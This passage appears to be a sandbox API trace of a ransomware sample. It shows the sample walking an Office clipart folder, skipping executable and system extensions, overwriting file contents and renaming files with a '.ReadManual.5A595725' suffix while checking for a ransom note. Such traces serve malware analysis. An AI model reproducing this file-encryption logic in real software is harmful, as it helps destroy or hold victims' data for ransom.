lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" [0263.362] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.ReadManual.5A595725" [0263.362] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.ReadManual.5A595725") returned 87 [0263.362] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38403091998) returned 1 [0263.362] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0263.362] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.363] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1074) returned 1 [0263.363] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x432, lpName=0x0) returned 0x184 [0263.363] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.363] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.363] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.365] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.365] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x432) returned 0x2f0000 [0263.365] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.365] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38403398176) returned 1 [0263.365] CloseHandle (hObject=0x184) returned 1 [0263.365] SetSecurityInfo () returned 0x57 [0263.365] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.365] CloseHandle (hObject=0x194) returned 1 [0263.366] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0263.366] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00204_.WMF" | out: lpString1="IN00204_.WMF") returned="IN00204_.WMF" [0263.366] lstrcmpiW (lpString1="IN00204_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.366] StrStrIW (lpFirst="IN00204_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.366] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.366] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.366] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" [0263.366] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.ReadManual.5A595725" [0263.366] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.ReadManual.5A595725") returned 87 [0263.366] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38403495377) returned 1 [0263.366] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0263.366] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.367] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1848) returned 1 [0263.367] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x738, lpName=0x0) returned 0x184 [0263.367] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.368] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.368] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.369] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.370] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x738) returned 0x2f0000 [0263.370] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.370] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38403858053) returned 1 [0263.370] CloseHandle (hObject=0x184) returned 1 [0263.370] SetSecurityInfo () returned 0x57 [0263.370] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.370] CloseHandle (hObject=0x194) returned 1 [0263.370] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0263.370] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00233_.WMF" | out: lpString1="IN00233_.WMF") returned="IN00233_.WMF" [0263.370] lstrcmpiW (lpString1="IN00233_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.370] StrStrIW (lpFirst="IN00233_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.370] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.370] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.371] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.371] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.371] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.371] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.371] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.371] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" [0263.371] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.ReadManual.5A595725" [0263.371] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.ReadManual.5A595725") returned 87 [0263.371] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38403952877) returned 1 [0263.371] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20 [0263.372] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.372] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11190) returned 1 [0263.372] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2bb6, lpName=0x0) returned 0x184 [0263.372] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.373] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.373] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.374] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.374] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2bb6) returned 0x2f0000 [0263.375] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.375] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38404347517) returned 1 [0263.375] CloseHandle (hObject=0x184) returned 1 [0263.375] SetSecurityInfo () returned 0x57 [0263.375] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.375] CloseHandle (hObject=0x194) returned 1 [0263.375] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0263.375] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00343_.WMF" | out: lpString1="IN00343_.WMF") returned="IN00343_.WMF" [0263.375] lstrcmpiW (lpString1="IN00343_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.375] StrStrIW (lpFirst="IN00343_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.375] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.375] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.376] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.376] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" [0263.376] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.ReadManual.5A595725" [0263.376] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.ReadManual.5A595725") returned 87 [0263.376] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38404441134) returned 1 [0263.376] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0263.377] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.377] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1892) returned 1 [0263.377] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x764, lpName=0x0) returned 0x184 [0263.377] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.378] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.378] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.379] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.379] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x764) returned 0x2f0000 [0263.379] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.380] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38404830503) returned 1 [0263.380] CloseHandle (hObject=0x184) returned 1 [0263.380] SetSecurityInfo () returned 0x57 [0263.380] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.380] CloseHandle (hObject=0x194) returned 1 [0263.380] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0263.381] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00346_.WMF" | out: lpString1="IN00346_.WMF") returned="IN00346_.WMF" [0263.381] lstrcmpiW (lpString1="IN00346_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.381] StrStrIW (lpFirst="IN00346_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.381] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.381] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.381] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" [0263.381] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.ReadManual.5A595725" [0263.381] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.ReadManual.5A595725") returned 87 [0263.381] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38405000914) returned 1 [0263.381] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0263.381] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.382] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=696) returned 1 [0263.382] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b8, lpName=0x0) returned 0x184 [0263.382] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.383] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.383] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.385] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.385] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b8) returned 0x2f0000 [0263.385] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.385] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38405375857) returned 1 [0263.397] CloseHandle (hObject=0x184) returned 1 [0263.397] SetSecurityInfo () returned 0x57 [0263.397] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.397] CloseHandle (hObject=0x194) returned 1 [0263.397] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0263.397] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00351_.WMF" | out: lpString1="IN00351_.WMF") returned="IN00351_.WMF" [0263.397] lstrcmpiW (lpString1="IN00351_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.397] StrStrIW (lpFirst="IN00351_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.397] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.397] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.398] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.398] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" [0263.398] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.ReadManual.5A595725" [0263.398] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.ReadManual.5A595725") returned 87 [0263.398] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38406672327) returned 1 [0263.398] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0263.398] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.398] GetFileSizeEx (in: 